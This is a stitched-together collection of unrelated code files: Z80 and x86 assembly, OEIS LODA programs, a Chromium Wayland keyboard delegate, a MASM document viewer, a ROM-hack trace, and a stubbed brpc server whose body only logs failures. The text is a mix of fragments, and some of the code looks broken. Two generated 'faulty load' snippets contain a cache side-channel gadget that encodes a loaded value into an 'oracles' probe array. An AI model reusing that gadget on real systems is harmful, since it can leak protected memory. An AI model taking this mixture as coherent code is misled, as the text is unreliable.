copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 0048C0 move.w A0, ($98,A6) 0048C4 movea.l (A7)+, A4 [enemy+98, etc+98] 0049A2 clr.w ($98,A6) 0049A6 rts 004D3C move.l D0, (A4)+ 004D3E move.l D0, (A4)+ 08114E movea.w ($98,A6), A0 081152 move.w ($4e8,A5), D0 [etc+98] 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
.global s_prepare_buffers s_prepare_buffers: push %r9 push %rcx push %rdi push %rsi lea addresses_normal_ht+0x16e1f, %rsi lea addresses_WC_ht+0x8cd7, %rdi nop nop and $37404, %r9 mov $8, %rcx rep movsb inc %rcx pop %rsi pop %rdi pop %rcx pop %r9 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r9 push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_A+0x8787, %rsi lea addresses_UC+0x37e7, %rdi nop nop nop dec %r9 mov $104, %rcx rep movsb cmp $3769, %r11 // Faulty Load lea addresses_WC+0x1c8e7, %rsi nop nop and $33108, %rbp movntdqa (%rsi), %xmm0 vpextrq $0, %xmm0, %r12 lea oracles, %rdi and $0xff, %r12 shlq $12, %r12 mov (%rdi,%r12,1), %r12 pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_UC', 'congruent': 8}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 16, 'NT': True, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 4}} {'00': 19} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. // A server to receive EchoRequest and send back EchoResponse. #include <gflags/gflags.h> #include <butil/logging.h> #include <brpc/server.h> int main(int argc, char* argv[]) { LOG(ERROR) << "Fail to add service"; LOG(ERROR) << "Fail to "; return 0; }
; void *w_array_front(w_array_t *a) SECTION code_adt_w_array PUBLIC _w_array_front EXTERN asm_w_array_front _w_array_front: pop af pop hl push hl push af jp asm_w_array_front
; A192379: Constant term of the reduction by x^2->x+1 of the polynomial p(n,x) defined below in Comments. ; Submitted by Christian Krause ; 1,0,5,8,45,128,505,1680,6089,21120,74909,262680,926485,3258112,11474865,40382752,142171985,500432640,1761656821,6201182760,21829269181,76841888640,270495370025,952182350768,3351823875225,11798909226368 mov $1,1 mov $4,-1 lpb $0 sub $0,1 add $2,$1 add $4,$3 add $3,$4 add $1,$3 add $4,$2 add $3,$4 sub $4,$3 sub $2,$4 add $3,1 add $3,$4 add $3,$2 add $3,$4 lpe mov $0,$1
;; ZX-Trans Receiver (+3 Version) ;; ;; Load ZX Spectrum snapshot, via RS232 serial port, based ;; on output from zxtrans_sender application. ;; ;; ;; Copyright 2015 George Beckett, All Rights Reserved ;; ;; Redistribution and use in source and binary forms, ;; with or without modification, are permitted provided ;; that the following conditions are met: ;; ;; - Redistributions of source code must retain the above ;; copyright notice, this list of conditions and the following ;; disclaimer. ;; - Redistributions in binary form must reproduce the above ;; copyright notice, this list of conditions and the following ;; disclaimer in the documentation and/or other materials ;; provided with the distribution. ;; ;; THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ;; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, ;; BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY ;; AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO ;; EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, ;; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ;; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; ;; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF ;; LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ;; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF ;; THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY ;; OF SUCH DAMAGE. ;; ;; ;; Version history: ;; Written by George Beckett <markgbeckett@gmail.com> ;; Version 0.2, Written 25th June 2015 ;; Version 0.3, Written 2nd September 2015 ;; Version 1.0, Written 17th September 2015 - 48k support ;; Version 1.1, Written 27th September 2015 - 16k support added ;; ;; ;; ;; Space for temporary stack ZXT_RET_ADDR: db 0x00, 0x00 ; Store for return addr from stack ZXT_PREV_SP: db 0x00, 0x00 ; Store for previous stack pointer ;; ZXT_STACK: DS 0x40 ;; Space for memory that would overwrite system variables ;; and other state information used by ROM routines ZXT_IF1_ENV: DS ZXT_IF1_ENV_LEN ;; ;; Program variables and state ;; ZXT_END:
Name: yst_main.asm Type: file Size: 23465 Last-Modified: '2016-05-13T04:52:56Z' SHA-1: 51FEFBDFFA219316EDB47FD109CB73B3BB6CDFFA Description: null
// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/exo/wayland/wayland_keyboard_delegate.h" #include <cstring> #include <wayland-server-core.h> #include <wayland-server-protocol-core.h> #include "base/containers/flat_map.h" #include "components/exo/wayland/serial_tracker.h" #include "ui/events/keycodes/dom/dom_code.h" #if BUILDFLAG(USE_XKBCOMMON) #include <xkbcommon/xkbcommon.h> #endif namespace exo { namespace wayland { #if BUILDFLAG(USE_XKBCOMMON) WaylandKeyboardDelegate::WaylandKeyboardDelegate(wl_resource* keyboard_resource, SerialTracker* serial_tracker) : keyboard_resource_(keyboard_resource), serial_tracker_(serial_tracker) {} WaylandKeyboardDelegate::~WaylandKeyboardDelegate() = default; bool WaylandKeyboardDelegate::CanAcceptKeyboardEventsForSurface( Surface* surface) const { wl_resource* surface_resource = GetSurfaceResource(surface); // We can accept events for this surface if the client is the same as the // keyboard. return surface_resource && wl_resource_get_client(surface_resource) == client(); } void WaylandKeyboardDelegate::OnKeyboardEnter( Surface* surface, const base::flat_map<ui::DomCode, ui::DomCode>& pressed_keys) { wl_resource* surface_resource = GetSurfaceResource(surface); DCHECK(surface_resource); wl_array keys; wl_array_init(&keys); for (const auto& entry : pressed_keys) { uint32_t* value = static_cast<uint32_t*>(wl_array_add(&keys, sizeof(uint32_t))); DCHECK(value); *value = DomCodeToKey(entry.second); } wl_keyboard_send_enter( keyboard_resource_, serial_tracker_->GetNextSerial(SerialTracker::EventType::OTHER_EVENT), surface_resource, &keys); wl_array_release(&keys); wl_client_flush(client()); } void WaylandKeyboardDelegate::OnKeyboardLeave(Surface* surface) { wl_resource* surface_resource = GetSurfaceResource(surface); DCHECK(surface_resource); wl_keyboard_send_leave( keyboard_resource_, serial_tracker_->GetNextSerial(SerialTracker::EventType::OTHER_EVENT), surface_resource); wl_client_flush(client()); } uint32_t WaylandKeyboardDelegate::OnKeyboardKey(base::TimeTicks time_stamp, ui::DomCode key, bool pressed) { uint32_t serial = serial_tracker_->GetNextSerial(SerialTracker::EventType::OTHER_EVENT); SendTimestamp(time_stamp); wl_keyboard_send_key( keyboard_resource_, serial, TimeTicksToMilliseconds(time_stamp), DomCodeToKey(key), pressed ? WL_KEYBOARD_KEY_STATE_PRESSED : WL_KEYBOARD_KEY_STATE_RELEASED); // Unlike normal wayland clients, the X11 server tries to maintain its own // modifier state, which it updates based on key events. To prevent numlock // presses from allowing numpad keys to be interpreted as directions, we // re-send the modifier state after a numlock press. if (key == ui::DomCode::NUM_LOCK) SendKeyboardModifiers(); wl_client_flush(client()); return serial; } void WaylandKeyboardDelegate::OnKeyboardModifiers( const KeyboardModifiers& modifiers) { // Send the update only when they're different. if (current_modifiers_ == modifiers) return; current_modifiers_ = modifiers; SendKeyboardModifiers(); } void WaylandKeyboardDelegate::OnKeyboardLayoutUpdated( base::StringPiece keymap) { // Sent the content of |keymap| with trailing '\0' termination via shared // memory. base::UnsafeSharedMemoryRegion shared_keymap_region = base::UnsafeSharedMemoryRegion::Create(keymap.size() + 1); base::WritableSharedMemoryMapping shared_keymap = shared_keymap_region.Map(); base::subtle::PlatformSharedMemoryRegion platform_shared_keymap = base::UnsafeSharedMemoryRegion::TakeHandleForSerialization( std::move(shared_keymap_region)); DCHECK(shared_keymap.IsValid()); std::memcpy(shared_keymap.memory(), keymap.data(), keymap.size()); static_cast<uint8_t*>(shared_keymap.memory())[keymap.size()] = '\0'; wl_keyboard_send_keymap(keyboard_resource_, WL_KEYBOARD_KEYMAP_FORMAT_XKB_V1, platform_shared_keymap.GetPlatformHandle().fd, keymap.size() + 1); wl_client_flush(client()); } uint32_t WaylandKeyboardDelegate::DomCodeToKey(ui::DomCode code) const { // This assumes KeycodeConverter has been built with evdev/xkb codes. xkb_keycode_t xkb_keycode = static_cast<xkb_keycode_t>( ui::KeycodeConverter::DomCodeToNativeKeycode(code)); // Keycodes are offset by 8 in Xkb. DCHECK_GE(xkb_keycode, 8u); return xkb_keycode - 8; } void WaylandKeyboardDelegate::SendKeyboardModifiers() { wl_keyboard_send_modifiers( keyboard_resource_, serial_tracker_->GetNextSerial(SerialTracker::EventType::OTHER_EVENT), current_modifiers_.depressed, current_modifiers_.locked, current_modifiers_.latched, current_modifiers_.group); wl_client_flush(client()); } // Convert from ChromeOS's key repeat interval to Wayland's key repeat rate. // For example, an interval of 500ms is a rate of 1000/500 = 2 Hz. // // Known issue: A 2000ms interval is 0.5 Hz. This rounds to 1 Hz, which // is twice as fast. This is not fixable without Wayland spec changes. int32_t GetWaylandRepeatRate(bool enabled, base::TimeDelta interval) { DCHECK(interval.InMillisecondsF() > 0.0); int32_t rate; if (enabled) { // Most of ChromeOS's interval options divide perfectly into 1000, // but a few do need rounding. rate = int32_t{std::lround(1000.0 / interval.InMillisecondsF())}; // Avoid disabling key repeat if the interval is >2000ms. rate = std::max(1, rate); } else { // Disables key repeat, as documented in Wayland spec. rate = 0; } return rate; } // Expose GetWaylandRepeatRate() to tests. int32_t GetWaylandRepeatRateForTesting(bool enabled, base::TimeDelta interval) { return GetWaylandRepeatRate(enabled, interval); } void WaylandKeyboardDelegate::OnKeyRepeatSettingsChanged( bool enabled, base::TimeDelta delay, base::TimeDelta interval) { // delay may be zero, but not negative (per Wayland spec). DCHECK_GE(delay.InMilliseconds(), 0); uint32_t version = wl_resource_get_version(keyboard_resource_); if (version >= WL_KEYBOARD_REPEAT_INFO_SINCE_VERSION) { wl_keyboard_send_repeat_info(keyboard_resource_, GetWaylandRepeatRate(enabled, interval), int32_t{delay.InMilliseconds()}); } } wl_client* WaylandKeyboardDelegate::client() const { return wl_resource_get_client(keyboard_resource_); } #endif // BUILDFLAG(USE_XKBCOMMON) } // namespace wayland } // namespace exo
SFX_Battle_2E_Ch5: duty_cycle 0 square_note 2, 15, 1, 512 square_note 3, 15, 1, 1792 square_note 4, 15, 1, 1280 square_note 5, 15, 1, 2032 sound_loop 8, SFX_Battle_2E_Ch5 sound_ret SFX_Battle_2E_Ch6: duty_cycle_pattern 2, 3, 0, 3 square_note 2, 14, 1, 770 square_note 3, 14, 1, 2034 square_note 4, 14, 1, 1538 square_note 5, 14, 1, 1794 sound_loop 8, SFX_Battle_2E_Ch6 sound_ret SFX_Battle_2E_Ch8: noise_note 2, 13, 3, 16 noise_note 3, 13, 3, 17 noise_note 2, 13, 2, 16 noise_note 5, 13, 2, 18 sound_loop 9, SFX_Battle_2E_Ch8 sound_ret
; A305559: [0, -1, -1] together with A000290. ; 0,-1,-1,0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,484,529,576,625,676,729,784,841,900,961,1024,1089,1156,1225,1296,1369,1444,1521,1600,1681,1764,1849,1936,2025,2116,2209,2304,2401,2500 mul $0,2 mov $2,4 lpb $0,1 trn $0,$2 sub $0,1 mov $2,1 sub $2,$0 mov $3,1 mul $3,$2 lpe mod $0,2 pow $3,2 mul $0,$3 mov $1,$0 div $1,4
SECTION code_fp_math48 PUBLIC cm48_sdcciyp_m482d EXTERN error_lznc cm48_sdcciyp_m482d: ; convert math48 double to sdcc_float ; ; enter : AC' = math48 double ; ; exit : DEHL = sdcc_float ; (exx set is swapped) ; ; uses : af, bc, de, hl, bc', de', hl' exx ; alternate entry after exx push af ld a,l sub 2 jr c, zero sla b rra rr b ld e,b ld h,c ld l,d ld d,a pop af ret zero: call error_lznc pop af ret
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; WriteDr6.Asm ; ; Abstract: ; ; AsmWriteDr6 function ; ; Notes: ; ;------------------------------------------------------------------------------ .586p .model flat,C .code ;------------------------------------------------------------------------------ ; UINTN ; EFIAPI ; AsmWriteDr6 ( ; IN UINTN Value ; ); ;------------------------------------------------------------------------------ AsmWriteDr6 PROC mov eax, [esp + 4] mov dr6, eax ret AsmWriteDr6 ENDP END
; ######################################################################### .386 .model flat, stdcall option casemap :none ; case sensitive ; ######################################################################### include \masm32\include\windows.inc include \masm32\include\gdi32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc include aplib.inc includelib \masm32\lib\gdi32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib includelib aplib.lib ; ######################################################################### ;============= ; Local macros ;============= return MACRO arg mov eax, arg ret ENDM ;================= ; Local prototypes ;================= WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD TopXY PROTO :DWORD,:DWORD EditProc PROTO :DWORD,:DWORD,:DWORD,:DWORD ; ######################################################################### .const MAXSIZE equ 260 .data szHelp db 'use up/down arrow keys to navigate', 0 .data? readcompAllocMem HANDLE ? readAllocMem DWORD ? decompMem HANDLE ? decompAllocMem DWORD ? szFileName db MAXSIZE dup (?) szAppPath db MAXSIZE dup (?) hInstance dd ? txtEdit dd ? hWnd dd ? lpEditProc dd ? tmp dd ? hFile dd ? iDocSize dd ? uDocSize dd ? iFileSize dd ? .code start: ;===================== ; Get program instance ;===================== invoke GetModuleHandle, NULL mov hInstance, eax ;========================= ; Run and exit our program ;========================= invoke DialogBoxParam, hInstance, 100, 0, addr WndProc, 0 invoke ExitProcess, 0 ; ######################################################################### WndProc proc hDlg :DWORD, uMsg :DWORD, wParam :DWORD, lParam :DWORD LOCAL Wwd :DWORD LOCAL Wht :DWORD LOCAL Wtx :DWORD LOCAL Wty :DWORD .if uMsg == WM_INITDIALOG mov eax, hDlg mov hWnd, eax invoke GetDlgItem, hDlg, 101 mov txtEdit, eax invoke SetWindowLong, txtEdit, GWL_WNDPROC, EditProc mov lpEditProc, eax invoke GetStockObject, ANSI_FIXED_FONT invoke SendMessage, txtEdit, WM_SETFONT, eax, 0 invoke LoadCursor, NULL, IDC_ARROW invoke SetClassLong, txtEdit, GCL_HCURSOR, eax ;================================ ; Center window at following size ;================================ mov Wwd, 648 mov Wht, 370 invoke GetSystemMetrics, SM_CXSCREEN invoke TopXY, Wwd, eax mov Wtx, eax invoke GetSystemMetrics, SM_CYSCREEN invoke TopXY, Wht, eax mov Wty, eax invoke MoveWindow, hDlg, Wtx, Wty, Wwd, Wht, TRUE ;================ ; Get name of EXE ;================ invoke GetModuleFileName, NULL, addr szFileName, MAXSIZE invoke GetAppPath, addr szAppPath invoke lstrlen, addr szFileName mov iDocSize, eax invoke lstrlen, addr szAppPath sub iDocSize, eax invoke szRight, addr szFileName, addr szAppPath, iDocSize sub iDocSize, 3 invoke lstrcpyn, addr szFileName, addr szAppPath, iDocSize invoke SetWindowText, hWnd, addr szFileName invoke LoadIcon, NULL, IDI_APPLICATION invoke SendMessage, hDlg, WM_SETICON, TRUE, eax ;================ ; Obtain exe size ;================ invoke GetModuleFileName, NULL, addr szAppPath, MAXSIZE invoke filesize, addr szAppPath mov iFileSize, eax ;====================== ; Open file for reading ;====================== invoke _lopen, addr szAppPath, OF_READ mov hFile, eax ;====================== ; Get uncompressed size ;====================== mov eax, iFileSize sub eax, 8 invoke _llseek, hFile, eax, FILE_CURRENT invoke _lread, hFile, addr iDocSize, sizeof iDocSize ;==================== ; Get compressed size ;==================== invoke _lread, hFile, addr uDocSize, sizeof uDocSize invoke _lclose, hFile ;=============== ; Open exe again ;=============== invoke _lopen, addr szAppPath, OF_READ mov hFile, eax ;================================ ; Obtain compressed text location ; (iFileSize) - (8 + iDocSize) ;================================ mov eax, iFileSize sub eax, iDocSize sub eax, 8 invoke _llseek, hFile, eax, FILE_CURRENT ;============================ ; Allocate memory for reading ;============================ invoke GlobalAlloc, GMEM_MOVEABLE or GMEM_ZEROINIT, iDocSize mov readcompAllocMem, eax invoke GlobalLock, readcompAllocMem mov readAllocMem, eax ;===================== ; Read compressed text ;===================== invoke _lread, hFile, readAllocMem, iDocSize ;================================== ; Allocate memory for decompression ;================================== invoke GlobalAlloc, GMEM_MOVEABLE or GMEM_ZEROINIT, uDocSize mov decompMem, eax invoke GlobalLock, decompMem mov decompAllocMem, eax ;======================================== ; Decompress text and update edit control ;======================================== invoke aP_depack_asm_fast, readAllocMem, decompAllocMem invoke SendMessage, txtEdit, WM_SETTEXT, 0, decompAllocMem ;===================== ; Free file and memory ;===================== invoke _lclose, hFile invoke GlobalUnlock, decompAllocMem invoke GlobalFree, decompMem invoke GlobalUnlock, readAllocMem invoke GlobalFree, readcompAllocMem ;========================= ; Make edit active control ;========================= invoke SetFocus, txtEdit return 0 .elseif uMsg == WM_CTLCOLORSTATIC ;================================== ; Paint edit box with system colors ;================================== invoke SetBkMode, wParam, OPAQUE invoke GetSysColor, COLOR_WINDOW invoke SetBkColor, wParam, eax invoke GetSysColor, COLOR_WINDOWTEXT invoke SetTextColor, wParam, eax invoke GetSysColorBrush, COLOR_WINDOW ret .elseif uMsg == WM_KEYDOWN .if wParam == VK_F1 ; prevents flicker .if tmp != TRUE invoke SetWindowText, hDlg, addr szHelp mov tmp, TRUE .endif .endif .elseif uMsg == WM_KEYUP .if wParam == VK_F1 mov tmp, FALSE invoke SetWindowText, hDlg, addr szFileName .endif .elseif uMsg == WM_CLOSE invoke EndDialog, hDlg, 0 ret .endif xor eax, eax ret WndProc endp ; ######################################################################### TopXY proc wDim:DWORD, sDim:DWORD shr sDim, 1 ; divide screen dimension by 2 shr wDim, 1 ; divide window dimension by 2 mov eax, wDim ; copy window dimension into eax sub sDim, eax ; sub half win dimension from half screen dimension return sDim TopXY endp ; ######################################################################### EditProc proc hWin :DWORD, uMsg :DWORD, wParam :DWORD, lParam :DWORD .if uMsg == WM_RBUTTONDOWN return 0 .elseif uMsg == WM_SETFOCUS return 0 .elseif uMsg == WM_CHAR return 0 .elseif uMsg == WM_GETTEXT return 0 .elseif uMsg == EM_GETLINE return 0 .elseif uMsg == EM_GETSEL return 0 .elseif uMsg == WM_GETTEXTLENGTH return 0 .elseif uMsg == WM_KEYUP .if wParam == VK_UP .elseif wParam == VK_DOWN .elseif wParam == VK_PRIOR .elseif wParam == VK_NEXT .else invoke SendMessage, hWnd, WM_KEYUP, VK_F1, 0 .endif .elseif uMsg == WM_KEYDOWN .if wParam == VK_UP invoke SendMessage, txtEdit, WM_KEYDOWN, VK_PRIOR, 0 .elseif wParam == VK_DOWN invoke SendMessage, txtEdit, WM_KEYDOWN, VK_NEXT, 0 .elseif wParam == VK_PRIOR .elseif wParam == VK_NEXT .else invoke SendMessage, hWnd, WM_KEYDOWN, VK_F1, 0 return 0 .endif .endif invoke CallWindowProc, lpEditProc, hWin, uMsg, wParam, lParam ret EditProc endp ; ######################################################################### end start
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r8 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0x706d, %rbp sub %rcx, %rcx movl $0x61626364, (%rbp) nop nop nop nop nop and $11623, %r9 lea addresses_WC_ht+0x16154, %rdi nop nop and %rax, %rax mov (%rdi), %r12w nop nop sub $62223, %rdi lea addresses_WC_ht+0x12b18, %rbp sub $33452, %r8 movl $0x61626364, (%rbp) nop nop add %r12, %r12 lea addresses_A_ht+0x18235, %rsi lea addresses_WC_ht+0x18a5, %rdi nop nop inc %rbp mov $11, %rcx rep movsq nop nop nop nop sub %r12, %r12 lea addresses_A_ht+0x72a5, %rsi lea addresses_normal_ht+0x1dca5, %rdi dec %r8 mov $28, %rcx rep movsl nop nop xor $4374, %r8 lea addresses_WT_ht+0x115a5, %r8 clflush (%r8) sub $20706, %rsi mov (%r8), %r12 dec %r8 lea addresses_normal_ht+0x1cfa5, %rsi lea addresses_WC_ht+0x19ca5, %rdi clflush (%rsi) nop xor %r9, %r9 mov $25, %rcx rep movsb nop nop nop cmp %rax, %rax lea addresses_D_ht+0x4bfd, %r9 xor $27095, %rcx mov $0x6162636465666768, %rax movq %rax, (%r9) nop nop nop nop cmp $56433, %r8 lea addresses_A_ht+0x1b35b, %r9 nop add $13300, %rax mov $0x6162636465666768, %rdi movq %rdi, %xmm5 vmovups %ymm5, (%r9) nop sub $56180, %rax lea addresses_UC_ht+0x3a5, %rbp nop nop nop nop nop and %rcx, %rcx movl $0x61626364, (%rbp) nop nop nop and %r12, %r12 lea addresses_WT_ht+0x1eae5, %rsi lea addresses_normal_ht+0x136c5, %rdi nop nop xor %rax, %rax mov $49, %rcx rep movsb nop nop nop and %rdi, %rdi lea addresses_D_ht+0x4fe5, %rax nop nop nop and %rdi, %rdi mov (%rax), %r9d nop nop cmp %r12, %r12 lea addresses_WT_ht+0x14a5, %r12 nop nop sub $1722, %r8 mov (%r12), %esi nop nop nop nop nop add $31959, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r8 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r14 push %rbp push %rdi push %rdx // Store lea addresses_D+0x25db, %r12 nop nop nop nop nop add $4625, %r10 mov $0x5152535455565758, %rdx movq %rdx, %xmm0 movntdq %xmm0, (%r12) nop nop nop nop nop add $9200, %r10 // Load lea addresses_RW+0xe8a5, %r12 nop nop cmp %rbp, %rbp movups (%r12), %xmm5 vpextrq $0, %xmm5, %rdx sub $34174, %rdi // Load lea addresses_UC+0xdf25, %rdx nop nop nop nop nop inc %r14 mov (%rdx), %rdi nop cmp $29247, %rbp // Faulty Load lea addresses_RW+0xe8a5, %rbp add $56667, %rdi movups (%rbp), %xmm2 vpextrq $1, %xmm2, %r10 lea oracles, %rdx and $0xff, %r10 shlq $12, %r10 mov (%rdx,%r10,1), %r10 pop %rdx pop %rdi pop %rbp pop %r14 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': True, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_RW', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 6}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_RW', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 4}, 'dst': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': True, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 